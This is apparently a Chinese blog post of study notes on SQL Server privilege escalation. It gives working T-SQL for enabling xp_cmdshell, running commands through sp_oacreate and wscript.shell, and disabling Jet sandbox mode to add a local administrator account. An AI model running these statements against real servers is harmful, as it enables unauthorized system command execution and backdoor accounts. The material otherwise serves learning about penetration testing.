sql server提权


仅用于知识了解,未进行复现

xp_cmdshell提权

xp_cmdshell是Sql Server中的一个组件,可以用来执行系统命令,在拿到sa口令之后,经常可以通过xp_cmdshell来进行提权

ps:该组件默认是关闭的,因此需要把它打开。xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它

  • 前提:

    getshell或者存在SQL注入并且能执行命令

    sql server 是system权限(sql server默认即为system权限)

  • 操作过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。

启用:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

关闭:
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;

执行:
EXEC master.dbo.xp_cmdshell '命令'

如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\\Program Files\\Microsoft SQL Server\\MSSQL\\Binn\\xplog70.dll'

sp_oacreate提权(无回显)

首先尝试xp_cmdshell提权,当xp_cmd行不通时,使用sp_oacreate

可以使用sp_oacreate和sp_oamethod调用系统wscript.shell来执行系统命令

  • 介绍

    sp_oacreate是一个非常危险的存储过程,可以删除、复制、移动文件,还能配合sp_oamethod来写文件执行cmd。

    sp_oacreate和sp_oamethod两个过程分别用来创建和执行脚本语言,换言之就是xp_cmdshell能执行的sp_oacreate+sp_oamethod同样能胜任

  • 操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
启用:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;

关闭:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;

执行:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe /c whoami >c:\\\\1.txt'

以上是使用sp_oacreate的提权语句,主要是用来调用OLE对象(Object Linking and Embedding的缩写,VB中的OLE对象),利用OLE对象的run方法执行系统命令。

沙盒提权

执行命令的方法无法使用时,使用沙盒提权

  • 沙盒模式

    沙盒模式(SandBoxMode)是一种安全功能。在沙盒模式下,Access 只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。例如,诸如Kill和Shell之类的函数可能被用来损坏计算机上的数据和文件,因此它们被视为不安全的。当Access以沙盒模式运行时,调用这些函数的表达式将会产生错误消息。

  • 操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
--提权语句

exec sp_configure 'show advanced options',1;reconfigure;

-- 不开启的话在执行xp_regwrite会提示让我们开启,

exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;

--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Jet\\4.0\\Engines','SandBoxMode','REG_DWORD',0;

--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Jet\\4.0\\Engines', 'SandBoxMode'

--执行系统命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')

沙盒模式SandBoxMode参数含义(默认是2

`0`:在任何所有者中禁止启用安全模式

`1` :为仅在允许范围内

`2` :必须在access模式下

`3`:完全开启

openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。

--恢复配置

--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Jet\\4.0\\Engines','SandBoxMode','REG_DWORD',1;

--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;

--exec sp_configure 'show advanced options',0;reconfigure;

SQL server提权汇总https://blog.51cto.com/u_11797152/2411770

https://blog.csdn.net/m0_46363249/article/details/121987611

https://www.cnblogs.com/SnowSec/p/14917112.html

https://wxiaoge.blog.csdn.net/article/details/112858836


文章作者: l0odrd
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 l0odrd !
  目录